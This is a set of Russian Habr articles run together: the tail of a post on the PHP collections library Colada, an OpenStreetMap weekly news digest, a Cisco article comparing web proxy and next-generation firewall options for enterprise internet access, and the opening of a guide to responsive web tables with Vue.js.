Высокая производительность и оптимальное использование памяти изначально не были главными целями — во главу угла было поставлено удобство использования. В подавляющем большинстве случаев работа происходит с небольшими коллекциями, поэтому разница в производительности не будет заметной.
Тем не менее, даже при таком раскладе результат получился вполне себе, на мой взгляд. Благодаря использованию SplFixedArray для реализации коллекций, использование памяти даже меньше по сравнению с обычными массивами:
**Использование памяти на примере коллекции из 100 000 элементов**
```
$ ./shell.sh
// Call use_colada() function to benefit from all shortcuts ;)
Interactive shell
php > use_colada();
php > vd(memory_get_usage(), memory_get_peak_usage());
int(374736)
int(383040)
php > $nums = Collections::range(1, 100000);
php > vd(memory_get_usage(), memory_get_peak_usage());
int(3575236)
int(3581604)
php > $nums = range(1, 100000);
php > vd(memory_get_usage(), memory_get_peak_usage());
int(8099280)
int(8105996)
```
В части скорости работы никаких чудес — за удобство использования приходится платить… Расширенное сравнение элементов при поиске (Collection::contains(), Map::get()...), а так же остальные плюшки пока реализованы в лоб и, естественно, работают медленнее встроенных аналогов. Но всё может измениться к лучшему, в том числе и с вашей помощью ;)
Но и здесь есть то, что уже оптимизировано, и о чём нужно помнить и не бояться использованить — цепочки преобразований из mapBy() и acceptBy()/rejectBy() ленивы по умолчанию! Это очень знакомо людям, которые имели опыт программирования на функциональных языках, и наглядно видно на примере:
```
$emails = $users
->acceptBy(x()->isActive())
->mapBy(x()->getEmail());
```
В данном коде проход по коллекции пользователей будет только один, а не два, как можно было бы подумать. Точнее, в коде выше его не будет вообще. Проход будет выполнен только тогда, когда реально понадобятся элементы новой коллекции:
```
$emails = $users
->acceptBy(x()->isActive())
->mapBy(x()->getEmail());
foreach ($emails as $email) {
echo $email;
}
```
«Конкуренты»
------------
Вдохновившись языком Scala (Scala Collections) и библиотекой Underscore.js, я с самого начала не мог представить, что чего-то подобного нет для PHP. Но либо я плохо искал, либо действительно на момент разработки не было решений, предоставляющих такое же удобство в PHP.
Тем не менее, некоторые наработки есть и их я хотел бы привести здесь, чтобы каждый мог сделать сравнение и выбрать подходящий инструмент.
Итак, что же уже есть на просторах Интернета:
* [Collection](https://github.com/doctrine/common/blob/master/lib/Doctrine/Common/Collections/Collection.php) в Doctrine Common — вспомогательная обёртка для работы с коллекциями, разработанная для внутреннего использования в проектах Doctrine и не особо известная за их пределами. Предоставляет, по сути, простую объектно-ориентированную обёртку на старндартным массивом, не обладая какими-либо дополнительными свойствами (immutable, нескалярные ключи и т.д.).
* [Underscore.php](http://brianhaveri.github.com/Underscore.php/) — прямой аналог Underscore.js для PHP, сделанный, на мой взгляд, практически без учёта специфики языка.
* Rmk-Framewrok (с [описанием](http://habrahabr.ru/post/144182/) на Хабре) — примечательная разработка от нашего соотечественника, ориентированная прежде всего на предоставление различных структур данных, не реализованных в PHP по умолчанию. Библиотека приследуюет изначально другую цель, нежели Colada, поэтому проигрывает при субъективном сравнение удобства использования.
В заключении
------------
Полезные (возможно) сылки:
* [github.com/alexeyshockov/colada](https://github.com/alexeyshockov/colada) — исходный код (Pull Request'ы приветствуются)
* [alexeyshockov.github.com/colada](http://alexeyshockov.github.com/colada) — документация по API
P.S.
----
С первого взгляда это всё может показаться бредом, а код — написанным уж точно не на PHP. Если кого-то это всё таки заинтересует, я рассчитываю на конструктивные комментарии, с помощью которых я смогу раскрыть те вещи, которые описал недостаточно полно. | https://habr.com/ru/post/151558/ | null | ru | null |
# Новости из мира OpenStreetMap № 511 (28.04.2020-04.05.2020)
Одна из работ UtaArts, выполненная на основе карты OSM [1](#wn511_22391) | [あいかうたう / 切り絵の地図屋](https://twitter.com/utaarts) | map data OpenStreetMap contributors
Картографирование
-----------------
* Пользователь muramoto [сообщил](https://twitter.com/muramototomoya/status/1251369345306918915?s=19) в своем Твиттере, что он выложил в свободный доступ часть своих [инструментов](https://tankaru.github.io/mapillarytools.html), связанных с Mapillary.
* Ричард Фэйрхерст [считает](https://twitter.com/richardf/status/1257294965010554880), что править карту в OSM должны волонтеры, которые придерживаются принципа «как на земле», и вот почему. Не так давно один местный картограф нарисовал в OSM дорогу и отметил ее тегом highway=track, так как она такова в реальности. Но после пришел платный картограф Amazon и изменил тег на service (служебная дорога). Однако это не устроило платного картографа Mapbox, который тут же оставил [заметку](https://www.openstreetmap.org/note/2180978) с жалобой, так как по дороге с таким типом не строятся маршруты.
* Джозеф Айзенберг [предлагает](https://lists.openstreetmap.org/pipermail/tagging/2020-April/052249.html) сообществу перестать использовать для обозначения аптек тег `healthcare=pharmacy`, так как еще в 2006 году был одобрен и принят другой тег — `amenity=pharmacy`. Вполне возможно, что [тег](https://wiki.openstreetmap.org/wiki/Proposed_features/Deprecate_healthcare%3Dpharmacy) `healthcare=pharmacy` начал использовать из-за того, что два года назад его кто-то, ни с кем не согласовав, добавил в заготовки одного из редакторов OSM.
* Вэлор Нарам вновь [предлагает](https://lists.openstreetmap.org/pipermail/tagging/2020-May/052379.html) для обозначения различных контактов (телефон, сайт и пр.) использовать только одну схему тегирования — `contact:*=`. Напомним, что сейчас это можно сделать и с помощью таких тегов, как `phone=`, `email=` и пр. В последний раз он предлагал это [5 месяцев назад](https://wiki.openstreetmap.org/wiki/Discussions/tagging/contact:phone_or_phone), но тогда его попытка не нашла поддержки сообщества, а потому и в этот раз к ней отнеслись холодно участники списки рассылки Тегирование.
* Мартин Коппенхофер [предлагает](https://lists.openstreetmap.org/pipermail/tagging/2020-May/052335.html) тегом `[ele:regional=](https://wiki.openstreetmap.org/wiki/Proposed_features/ele:regional)` обозначать те высоты, которые определены в «региональной общей системе координат». В настоящее время его предложение проходит стадию обсуждения.
* Пользователь DeBigC [подвел итоги](https://www.openstreetmap.org/user/DeBigC/diary/392900) своего участия в ирландской картоакции #StayHomeAndMapIRL, которую было решено провести после того, как в Ирландии всех жителей попросили остаться дома.
* Крис Беддоу, инженер по решениям сервиса Mapillary, провел [вебинар](https://youtu.be/lbKfPamNyUs) о том, как улучшить карту и помочь в борьбе с COVID-19.
* Началось голосование по вопросу принятия нового тега `traffic_signals=crossing_only`, которым [предлагается](https://wiki.openstreetmap.org/wiki/Proposed_features/traffic_signals%3Dcrossing_only) отмечать только те светофоры, которые управляют пешеходным переходом, а не всем перекрестком. Похоже, что во время стадии «Обсуждение» обсуждение не прошло должным образом, а потому началось только сейчас в разделе «Голосование» на немецкой части [форума](https://forum.openstreetmap.org/viewtopic.php?id=69290).
* В новой версии плагина Mapillary для редактора JOSM появились более гибкие фильтры, возможность автоподписи пакета правок, поддержка организаций и многое другое. В своем блоге Крис Беддоу из Mapillary более подробно [рассказывает](https://blog.mapillary.com/update/2020/04/07/josm-updates.html) об этом.
Сообщество
----------
* Ирландское сообщество OSM [подвело итоги](https://twitter.com/osm_ie/status/1255454629170741254?s=20) своей картоакции #StayHomeAndMapIRL. В ней принял участие 91 картограф, на карту добавлено 39208 зданий. Но несмотря на это, у них все еще остались [задачи](https://tasks.openstreetmap.ie/), над которыми нужно работать.
* Член Совета Фонда OSM Рори МакКенн в своем блоге на osm.org [поделился](https://www.openstreetmap.org/user/%E1%9A%9B%E1%9A%8F%E1%9A%92%E1%9A%90%E1%9A%94%E1%9A%8F%E1%9A%94%E1%9A%8B%E1%9A%9C%20%F0%9F%8F%B3%EF%B8%8F%E2%80%8D%F0%9F%8C%88/diary/392918) тем, чем он занимался последнее время в OSM. Он рассказал о своей деятельности в Совете OSM, в рабочей группе по коммуникациям, программировании, картировании, различных обсуждениях, а также о мистической головоломке, которую он назвал «На потом».
* Опубликованы протоколы заседаний сообщества OpenStreetMap в США от [3 февраля](https://wiki.openstreetmap.org/wiki/Foundation/Local_Chapters/United_States/Minutes/2020/02/03) и [27 марта](https://wiki.openstreetmap.org/wiki/Foundation/Local_Chapters/United_States/Minutes/2020/03/27).
* Мария Попова, основатель общественного движения “Антиборщевик”, [искала](https://habr.com/ru/post/498214/) ИТ-решение, с помощью которого, она и члены ее движения, могли бы отмечать места произрастания Борщевика Сосновского полигонами, а не только точками, как это возможно на Яндекс.Картах. Напомним, что это инвазивный вид растения, который не только вызывает ожоги, но активно распространяется и вытесняет собой местные растения. Сообщество OSM предложило Марии попробовать сервис uMap, который ее полностью устроил. Также мы ранее [сообщали](http://weeklyosm.eu/archives/13090/#wn509_22311) о карте распространения борщевика Сосновского в Московской области, которая была выполнена путем автоматического анализа спутниковых снимков.
* Валерий Трубин продолжает делать серию интервью с людьми, которые связаны с OSM. На этот раз он поговорил с тем, кто использует OSM для своих эко-проектов: [Николаем Петровым](https://habr.com/ru/post/497232/) — основателем сервиса, посвященного раздельному сбору мусора [OpenRecycleMap](http://openrecyclemap.ru).
Фонд OpenStreetMap
------------------
* Опубликован [протокол](https://wiki.osmfoundation.org/wiki/Microgrants/Committee/Minutes/2020-04-30) заседения комитет по микрогрантам Фонда OSM от 30 апреля 2020 года.
Гуманитарный OSM
----------------
* Дженнифер Дуонг, Дэвид Лусвата и Тино Тупане в блоге некоммерческой организации "[Missing Maps](https://www.missingmaps.org/)" [рассказывают](https://www.missingmaps.org/blog/2020/04/30/a-year-of-blogs/) о своей картографической деятельности в Гвинее, причем, как удаленной, так и «в полях».
* Некоммерческая организация HOT, при поддержке Response Innovation Lab в Уганде, [нанесла](https://www.hotosm.org/updates/mapping-energy-saving-solutions-in-one-of-the-largest-refugee-settlements-in-africa/) на карту все магазины, предлагающие энергосберегающие решения и находящиеся в поселении беженцев Бидибиди. Это было сделано с целями изучить имеющийся рынок и помочь беженцам скорее найти нужные для них энергосберегающие товары.
* Некоммерческая организация HOT в своем блоге [рассказала](https://www.hotosm.org/updates/shifting-to-virtual-adapting-hots-global-work-for-covid-19/) о том, как она адаптировалась к изменениям, вызванным пандемией COVID-19.
Образование
-----------
* Эдуард Казаков провел обучающий [вебинар](https://www.youtube.com/watch?v=gAVJ8oeTtOk) о системах координат в ГИС (на примере QGIS).
Карты
-----
* [1] У пользовательницы UtaArts необычное [хобби](https://www.youtube.com/watch?v=2ctDS-lijPk): она распечатывает карту какого-либо места, а потом вырезает из нее определенные части. В итоге получается весьма красивая художественная работа. В своем Твиттере она опубликовала [часть](https://twitter.com/utaarts) из них.
Переходим на OSM
----------------
* На сайт Switch2OSM [добавлена](https://switch2osm.org/serving-tiles/manually-building-a-tile-server-20-04-lts/) новая инструкция: по настройке tile-сервера на [Ubuntu 20.04](http://releases.ubuntu.com/focal/) (Focal Fossa). Она уже переведена на русский и [выложена](http://use.openstreetmap.ru/serving-tiles/manually-building-a-tile-server-20-04-lts/) на локализованной [версии](http://use.openstreetmap.ru/) этого сайта.
Лицензии
--------
* Кристоф Хорманн [написал](https://www.openstreetmap.org/user/imagico/diary/392916) пост об [атрибуции](https://www.openstreetmap.org/copyright) OpenStreetMap. Его текст уже [выложили](https://wiki.openstreetmap.org/wiki/Community_attribution_advice) на WikiOSM, что позволит его перевести на другие языки.
Программное обеспечение
-----------------------
* Стартап SharedStreets выпустил программную библиотеку [Mashnet](https://medium.com/sharedstreets/introducing-mashnet-126b1ba33f68), с помощью которой можно объединить перекрывающиеся дорожные графы без разрыва существующих связей.
* Исследовательская группа GIScience из Гейдельбергского университета [сообщила](http://k1z.blog.uni-heidelberg.de/2020/04/01/openrouteservice-maps-%E2%80%93-alternative-routes-roundtrips-and-more-%E2%80%A6/) об обновлении функций для своего клиента карт на сайте [maps.openrouteservice.org](https://maps.openrouteservice.org/). Теперь сервис умеет строить альтернативные и круговые маршруты, а также позволяет передавать в API параметры пропущенных сегментов, путем добавления руками дополнительных путевых точки для «принуждения openrouteservice к пересечению участков с отсутствующими данными или „непроходимой“ местностью».
* Пользователь westnordost, разработчик мобильного приложения StreetComplete, с помощью которого удобно и просто картировать в OSM прямо с телефона (только на Android), сообщил о выходе [новой версии](https://github.com/westnordost/StreetComplete/releases/tag/v19.0) своей программы. Согласно примечаниям к релизу на Github, он переработал пользовательский интерфейс, добавил экран профиля и сделал некоторые другие исправления и улучшения.
* Мы уже сообщали ранее ([#498](http://weeklyosm.eu/archives/12843/#wn498_21838)), что пользователь Vascom начал еженедельно собирать [новые карты](https://hide.webhop.me/mapsme/) для Maps.Me. Не так давно он [добавил](https://forum.openstreetmap.org/viewtopic.php?pid=783743#p783743) две новые страны: Чехию и Польшу.
Программирование
----------------
* Картостиль [Toner](https://api.maptiler.com/maps/toner/?key=FgUcizTE7gigsuRcIdW4#10.47/47.324/8.6112), созданный 10 лет назад дизайн-студией Stamen, не так давно был [представлен](https://www.maptiler.com/news/2020/04/long-live-toner/) и в векторном формате на MapTiler Cloud (Mapbox GL).
* Йохен Топф [начал](https://blog.jochentopf.com/2020-04-30-paying-off-technical-debt-in-osm2pgsql.html) оптимизировать код утилиты Osm2pgsql, которая позволяет импортировать данные OSM в базу данных PostgreSQL. Это вызвано тем, что со временем кода стало столько, что стало затруднительно добавлять новые функции. Это очень важная работа, и Йохан рад, что нашел Энди Аллана из Thunderforest и Фредерика Рамма из Geofabrik, готовых профинансировать ее.
Релизы
------
* Квинси Морган [сообщил](https://lists.openstreetmap.org/pipermail/rails-dev/2020-April/018418.html), что вышла новая версия онлайн-редактор iD (2.17.3). В списке рассылки openstreetmap-website он подробно описывает все изменения. Наиболее важное — это новая функция, позволяющая отмечать те места, которые работают даже во время режима изоляции из-за COVID-19, а также добавлять время работы.
Знаете ли вы …
--------------
* … откуда можно [скачать](http://osm.sbin.ru/osm_dump/) свежие выгрузки из OSM в формате PBF стран СНГ, а также регионов России, Украины и Белоруссии? Помимо этого, там доступны [полигоны](https://github.com/shurshur/osmdump_poly) обрезки и [скрипты](https://github.com/shurshur/osmdump), которые обеспечивают эти выгрузки.
* … об opensource-[программе](https://en.wikipedia.org/wiki/OpenDroneMap) [OpenDroneMap](https://www.opendronemap.org/), с помощью которой можно собирать ортофотопланы? Обычно владельцы дронов не снимают ортофотопланы, так как софт для их изготовления достаточно дорог. Это приложение призвано изменить эту ситуацию. Кстати, сами ортофотопланы можно хранить на сервисе [OpenAerialMap](https://Openaerialmap.org), откуда их удобно брать для обрисовки в OSM.
* … что есть хороший способ [показывать](https://www.wjst.de/images/gps/index.php#6/49.824/11.162) фотографии на фоне с OSM с помощью JavaScript-библиотеки Leaflet? Надеемся, что пользователь [Wjst](https://www.wjst.de/) укажет атрибуцию должным образом, как можно скорее.
* … о плагине для JOSM [Mapathoner](https://qeef.gitlab.io/mapathoner/), с помощью которого можно быстро и просто рисовать объекты в частном секторе?
* … о сайте [nakarte.me](https://nakarte.me/)? на котором можно удобно сравнить между собой разные онлайн-карты? Также на этом сайте можно планировать и анализировать туристические маршруты. Не так давно его разработчик выложил подробную [документацию](https://docs.nakarte.me/lecture.html). К сожалению, сайт не указывает атрибуцию и иные требования о соблюдении авторских прав всех представленных на нем карт.
Другие «гео» события
--------------------
* Пользователь Massimo обратил внимание на [GIF-ку](https://twitter.com/Rainmaker1973/status/1242446156006907905?s=19) Джакуба Новосада, которая демонстрирует искажения [проекции Меркатора](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%B5%D0%BA%D1%86%D0%B8%D1%8F_%D0%9C%D0%B5%D1%80%D0%BA%D0%B0%D1%82%D0%BE%D1%80%D0%B0) путем отображения всех объектов на карте в одном — истинном — размере.
* Еще одна карта, которая показывает ширину тротуаров, на этот раз в [Лондоне](https://www.underscorestreets.com/social-distancing). Исследователи из группы \_Streets в Бартлетте (UCL) использовали детальные данные Британского национального картографического агентства «Ordnance Survey», чтобы найти тротуары шириной более 6 метров, так как именно это расстояние считает наиболее подходящим для соблюдения социальной дистанции.
* Даниил Соколов на сайте heise.de [рассказывает](https://www.heise.de/newsticker/meldung/GPS-Der-magische-Kompass-mit-eingebauer-Ungenauigkeit-4713291.html), как США изначально использовали службу позиционирования GPS в качестве военного инструмента, а потому сознательно на протяжении многих лет ухудшали ее точность для гражданских пользователей.
* На Всемирном экономическом форуме было [представлено](https://www.weforum.org/agenda/2020/05/five-ways-collective-intelligence-can-help-beat-coronavirus-in-developing-countries) пять способов, с помощью которых [роевый интеллект](https://ru.wikipedia.org/wiki/%D0%A0%D0%BE%D0%B5%D0%B2%D0%BE%D0%B9_%D0%B8%D0%BD%D1%82%D0%B5%D0%BB%D0%BB%D0%B5%D0%BA%D1%82) может предотвратить распространение коронавируса в развивающихся странах.
* The Washington Post использует динамические карты, чтобы [показать](https://www.washingtonpost.com/graphics/2020/climate-solutions/wyoming-wildlife-corridor/), как межштатная автомагистраль на западе США пересекает маршруты миграции диких животных, которые существовали в течение тысяч лет. Из-за изменения климата все больше и больше животных в Скалистых горах мигрируют, что приводит к увеличению аварий на этой дороге.
* Новостное агентство Рейтер [сообщает](https://www.reuters.com/article/us-moovit-m-a-intel-idUSKBN22F0GS), что Intel ведет переговоры о покупке израильского приложения для общественного транспорта [Moovit](https://en.wikipedia.org/wiki/Moovit) за $1 млрд. Эта тема [обсуждается](https://news.ycombinator.com/item?id=23059662) и на Hacker News. [Правки](http://resultmaps.neis-one.org/osm-discussion-comments?uid=1190212) платных картографов этого сервиса не всегда соответствовали требованиям OSM.
---
Общение российских участников OpenStreetMap идёт в [чатике](https://t.me/ruosm) Telegram и на [форуме](http://forum.openstreetmap.org/viewforum.php?id=21). Также есть группы в социальных сетях [ВКонтакте](https://vk.com/openstreetmap), [Facebook](https://www.facebook.com/openstreetmap.ru), но в них в основном публикуются новости.
[Присоединяйтесь к OSM!](https://www.openstreetmap.org/user/new)
---
Предыдущие выпуски: [510](https://habr.com/ru/post/501254/), [509](https://habr.com/ru/post/500250/), [508](https://habr.com/ru/post/499044/), [507](https://habr.com/ru/post/497838/), [506](https://habr.com/ru/post/496754/) | https://habr.com/ru/post/502392/ | null | ru | null |
# Как и зачем защищать доступ в Интернет на предприятии — часть 2
В первой части я рассказал почему стоит защищать доступ в Интернет и что должны уметь технические решения. В этой же расскажу, что есть в арсенале Cisco и типовых способах решения задачи.
Как правило выбор делается между решениями классов «прокси-сервер» и «межсетевой экран нового поколения». Также существуют и облачные сценарии, но их мы коснёмся лишь вскользь.
#### Прокси-серверы – Cisco Web Security Appliance (WSA)
Самый консервативный и проверенный десятилетиями способ решения задачи. Прокси-сервер или дословно «сервер-посредник» принимает на себя запросы от пользователей, проверяет их на соответствие политике и уже от своего имени устанавливает соединение с Интернет-ресурсом. Обычно прокси-сервер устанавливается в демилитаризованной зоне (ДМЗ), а прямой маршрутизируемый доступ в Интернет запрещается.
Вполне естественно, что рабочие станции пользователей не подозревают о существовании прокси-сервера. Существует несколько способов рассказать им об этом:
* Скрипт автонастройки в виде PAC-файла, размещаемого на сервере в локальной сети. Адрес сервера анонсируется по DHCP. Данный вариант прост и работает даже на станциях не в домене. Эта же простота его и губит — существует несколько атак с подменой сервера, позволяющих направить трафик пользователей через атакующего
* Изменение ключей системного реестра на каждом хосте — может выполняться с помощью доменных политик, средств централизованного управления или вручную
Все филиалы можно выпускать через один прокси-сервер, главное, чтобы пользователи могли установить с ним TCP-соединение. Если же в каждом филиале есть широкополосный доступ в Интернет, а каналы между офисами подкачали, то лучше установить прокси-сервер в каждый филиал и централизованно ими управлять. В случае с WSA лицензии приобретаются по количеству пользователей, а виртуальные машины WSA бесплатны, так что их легко и просто развернуть в каждом филиале.
Конечно же все мы не любим настраивать что-либо сразу на всех рабочих станциях и к счастью есть вариант внедрения с WCCP. WCCP — открытый протокол перенаправления трафика, разработанный компанией Cisco. С его помощью можно отдать на проверку весь веб-трафик, проходящий через маршрутизатор, коммутатор или Cisco ASA, а остальной трафик пойдёт как раньше. На сетевом оборудовании производятся минимальные настройки, а на хостах ничего не настраивается. Ниже схематично изображён принцип работы WCCP
А теперь о грустном. О существовании прокси-серверов знают только приложения, написанные прямыми руками, и они подхватывают настройки прокси-сервера из ОС. Если приложение писали просто руками, то в самом приложении или его конфиге есть возможность явно задать прокси-сервер. Во всех остальных случаях приходится «ковырять дырки» в межсетевых экранах и настраивать исключения. То же самое приходится делать если приложение работает по портам или протоколам, которые прокси-сервер не обрабатывает, для WSA это всё кроме HTTP/S, FTP/S, SOCKS.
Само собой, создание исключений по портам или станциям/пользователям это упадочный вариант, который ведёт к лишней нагрузке на персонал и избыточным правам доступа. Неправильных приложений окажется больше, чем вы ожидаете, например, банк-клиенты, приложения собственной разработки, серверные приложения, приложения для работы с налоговой, пенсионными фондами, тендерными площадками, партнёрами и т.п.
Управлять нестандартными приложениями нужно с помощью межсетевых экранов следующего поколения. Альтернативный вариант — это использование прокси-серверов некоторых производителей, которые можно устанавливать «в разрыв» и которые могут маршрутизировать весь трафик через себя. Основным минусом здесь является добавление дополнительной точки отказа в инфраструктуру.
#### Межсетевые экраны нового поколения — Cisco Sourcefire NGFW
Про NGFW и [Sourcefire на Хабре уже писали](http://habrahabr.ru/company/cisco/blog/229195/), так что повторятся не буду. NGFW устанавливаются в разрыв, зачастую вместо старых межсетевых экранов, и пропускают через себя весь трафик, понимая и контролируя любые протоколы. Каких-либо настроек на хостах не требуется.
\*Рекламная пауза\*
Помните, что Sourcefire это лучший в мире NGIPS с функциональностью NGFW. Sourcefire NGIPS/NGFW может быть внедрён как в виде отдельного устройства FirePOWER, так и запущен в виде программного модуля на вашей существующей Cisco ASA. ASA должна быть серии 5500-Х и иметь SSD-диск. Для 5585-Х дополнительно потребуется замена модуля SSP. ASA будет работать как обычно, выполняя роль фильтра грубой очистки, а Sourcefire заниматься самыми интеллектуальными задачами для уже разрешённых соединений.
#### Прокси-сервер или NGFW — что выбрать?
Очевидно, что функциональность двух решений пересекается, и вы не сразу можете определить, что нужно именно Вам.
Если перед Вами стоит только задача по сложной фильтрации доступа в Интернет и уменьшению счёта от провайдера, то ваш выбор — Cisco WSA.
Если достаточно базовой фильтрации, есть множество нестандартных приложений и пора обновить ваши средства сетевой безопасности, то стоит смотреть в сторону Sourcefire NGIPS/NGFW.
Самый правильный вариант — это использование обоих решений.
`особенно с точки зрения выполнения моей квоты`
Его как правило выбирают наиболее требовательные организации и выглядит он следующим образом:
* В ядро сети или на периметре устанавливается NGIPS/NGFW, который фильтрует доступ пользователей по группам в AD, протоколам, приложениям и т.д.
* Разрешённый веб-трафик перенаправляется по WCCP на Cisco WSA, который расшифровывает трафик SSL, кэширует запросы, передаёт отдельные файлы в систему DLP, сканирует вложения антивирусом и многое другое
* Так как предварительную фильтрацию выполняет NGFW, то нагрузка на WSA существенно снижается и можно разворачивать его в виде ВМ. В свою очередь NGFW освобождается от задач по URL-фильтрации и перехвату SSL –трафика, что позволяет сэкономить на лицензиях и выбрать модель с меньшей производительностью
В таблице ниже приведены ключевые отличия решений и она поможет Вам определиться с выбором
| | WSA | NGFW |
| --- | --- | --- |
| Фильтрация по URL-категориям | + | + |
| Фильтрация по репутации | + | + |
| Разграничение доступа по группам AD и приложениям | + | + |
| Кэширование данных | + | - |
| Квотирование трафика по времени и объёму | + | - |
| Система обнаружения вторжений | Только обнаружение компьютеров-зомби | +
Отраслевой лидер |
| Сканирование загружаемых файлов антивирусными
движками | +
Webroot, Sophos, McAfee | - |
| Поддержка протоколов | HTTP/S, FTP/S, SOCKS | Любые |
| Возможность создавать собственные профили для приложений | - | +
OpenAppID |
| [AMP](http://habrahabr.ru/company/cisco/blog/226699/) — защита от уязвимостей нулевого дня | + | + |
| Перехват и проверка SSL трафика | + | На отдельном устройстве
В ближайших планах on-box decryption |
| Экспорт файлов по ICAP | + | - |
| Доступность в виде ВМ | + | + |
| Централизованное управление | + | + |
#### Облачные решения — Cisco Cloud Web Security (CWS)
Данный класс решений пока не набрал популярности в России и не факт, что когда-либо наберёт. Весь трафик от пользователей к Интернет-ресурсам шифруется и отправляется в облачный сервис. После проверки на соответствие политикам трафик перенаправляется к Интернет-ресурсам и запрошенные данные возвращаются пользователю. Данное решение проще всего рассматривать как Cisco WSA, размещённый в облаке и немного ограниченный по функциональности.
Как и с традиционными прокси-серверами есть два варианта перенаправления пользователей в облачный сервис
* «Хостовый» — на хостах производятся настройки реестра или устанавливается агент или используется Cisco Anyconnect
* «WCCP-like» — агент на маршрутизаторах Cisco или межсетевых экранах Cisco ASA перенаправляет весь веб-трафик в CWS
Облачные решения больше всего востребованы в розничной торговле, финансовой индустрии и любых других территориально распределённых компаниях или компаниях с большим количеством мобильных сотрудников.
На сегодня пожалуй всё. Буду благодарен за обратную связь и участие в опросе!
Stay tuned ;)
[Как и зачем защищать доступ в Интернет на предприятии — часть 1](http://habrahabr.ru/company/cisco/blog/230515/)
[Обзор межсетевого экрана и системы предотвращения вторжений нового поколения SourceFire FirePower](http://habrahabr.ru/company/cisco/blog/229195/)
[Что к чему в “NGFW | NGIPS | UTM”](http://habrahabr.ru/post/229343/) и [UTM против NGFW – один оттенок серого](http://habrahabr.ru/company/muk/blog/160703/) | https://habr.com/ru/post/232863/ | null | ru | null |
# Адаптивные таблицы в вебе
Таблица — удобный и один из самых эффективных способов подачи ТЕКСТОВОЙ информации: на минимуме пространства размещено максимум данных. И что не менее важно — эти данные доступны не только для восприятия, но и для анализа (СРАВНЕНИЯ). Основная сложность таблиц при верстке — их адаптивность для устройств с небольшими экранами (мобильных девайсов). Можно ли сделать так, чтобы даже на экране с размерами в несколько сантиметров таблицы могли быть удобными для восприятия?
В статье будет предложен способ адаптации таблиц к разным экранам разных устройств. Кроме того, этот способ будет реализован на практике с применением Vue.js 3, CSS-модулей и компонентно-ориентированного подхода.
### Содержание
* Структура таблицы
* Цветовая дифференциация
* Проблема с Mobile First
* Что делать с таблицами на маленьких экранах?
* ~~Back to the Future~~ Forward to the Past, или что будем улучшать
* Mobile First или Desktop First? Без разницы!
* Подготовка к работе, Vue.js
* Структура проекта и нейминг
* CSS-модули
* Компонентно-ориентированный подход
* API компонента адаптивной таблицы
* Классический вид таблицы
* Делаем таблицу адаптивной
* Если много колонок
* Движущаяся шапка адаптивной таблицы
Структура таблицы
-----------------
Таблица состоит из столбцов и строк. Первая, самая верхняя строка — шапка таблицы. Т.е. **ЗАГОЛОВКИ столбцов**. Важно отметить, что первый столбец, как правило, играет не менее важную роль, т.к. в его ячейках — информация, которую можно обозначить как **ЗАГОЛОВКИ строк**.
Таблица может быть усложнена (что, как ни парадоксально, не усложняет, а наоборот, упрощает ее восприятие):
* шапка таблицы может состоять не из одной, а из нескольких строк, причем в каких-то столбцах эти строки могут быть объединены, а в каких-то — могут быть подстолбцы
* кроме заголовков строк в первом столбце, во втором могут быть подзаголовки этих строк
* для улучшения восприятия ячейки с одинаковыми данными могут быть объединены как по горизонтали, так и по вертикали
Пример таблицы с шапкой из двух строк, двумя заголовками строк (title + subtitle) и объединенными ячейкамиЦветовая дифференциация
-----------------------
Данные, обозначенные в ячейках, легче воспринимаются, если эти ячейки разделены границами. Не менее важный аспект — дифференциация разных элементов таблицы по цветам. Как правило, чаще всего выделяют другим цветовым фоном шапку таблицы, но не менее важно, особенно при адаптации таблицы для маленьких экранов (об этом ниже), выделять фоном заголовки строк.
Добавление цветного фона для шапки и заголовков строк делает таблицу более удобной для восприятияПри наличии границ восприятие информации также улучшает центрирование в ячейках. И еще один приятный для глаз момент — наличие отступов, по крайней мере вертикальных (оптимальный вариант, на мой взгляд — от 0.25em до 0.5em). Да, и при этом (наличии отступов) межстрочный интервал в ячейках не должен быть таким же большим, как у обычных параграфов.
Проблема с Mobile First
-----------------------
Основная проблема, почему таблицы исчезли с сайтов — очень небольшая ширина мобильных экранов, особенно в portrait-ориентации. Часто заголовки строк состоят из нескольких слов, и поэтому достаточно длинны, и все что остается — один-два столбца с данными, которые не умещаются в ширину экрана при нормальном (читаемом) размере шрифта.
Именно поэтому принцип “[Mobile First](https://ru.wikipedia.org/wiki/%D0%90%D0%B4%D0%B0%D0%BF%D1%82%D0%B8%D0%B2%D0%BD%D1%8B%D0%B9_%D0%B2%D0%B5%D0%B1-%D0%B4%D0%B8%D0%B7%D0%B0%D0%B9%D0%BD#%D0%A1%D0%BD%D0%B0%D1%87%D0%B0%D0%BB%D0%B0_%D0%BC%D0%BE%D0%B1%D0%B8%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_(%C2%ABMobile_first%C2%BB))”, популярный в адаптивном дизайне, сводит использование таблиц к нулю. Вместо них получил распространение “карточный подход”, когда все данные, которые можно было бы уместить в строку, представлены в виде списка.
Карточный подход, примененный к нашей таблице, который часто используется в адаптивной верстке, как его можно наблюдать на экранах мониторах и мобильных устройств в portrait-ориентацииНедостатков такого подхода множество. Самые главные из них:
* карточки — это “мусор” в дизайне: на странице — множество повторяющихся элементов, которых могло бы и не быть (правая часть списков под подзаголовками Subtitles, которые мешают восприятию)
* карточки занимают много места: на экране мобильного устройства видно очень немного карточек без скролла — две, максимум три; чтобы ознакомиться со всей информацией, нужно пролистывать страницу вверх или вниз
* самое главное — теряется уникальное преимущество таблиц — анализ, **СРАВНЕНИЕ** данных, которые были до этого представлены в ячейках компактно, **рядом друг с другом**
Реальный пример «карточного подхода» — страница конфигуратора Mercedes модели C-класса (https://www.mercedes-benz.co.uk/passengercars/mercedes-benz-cars/car-configurator.html/motorization/CCci/GB/en/C-KLASSE/LIMOUSINE). В полноэкранном режиме на большом мониторе полностью видны только 6 карточек, на экран мобильного телефона с трудом за один раз помещаются только две. А всего их 19!Что делать с таблицами на маленьких экранах?
--------------------------------------------
Есть один подход к таблицам, который мне нравится. Скорее всего кто-нибудь это придумал давным-давно, и я “изобрел велосипед”, просто не видел такого воплощения адаптивной верстки таблиц. Смысл подхода заключается в том, что на широких экранах пользователь видит классическую таблицу, а на узких — заголовки (и подзаголовки) строк трансформируются в эдакие “подшапки” таблицы.
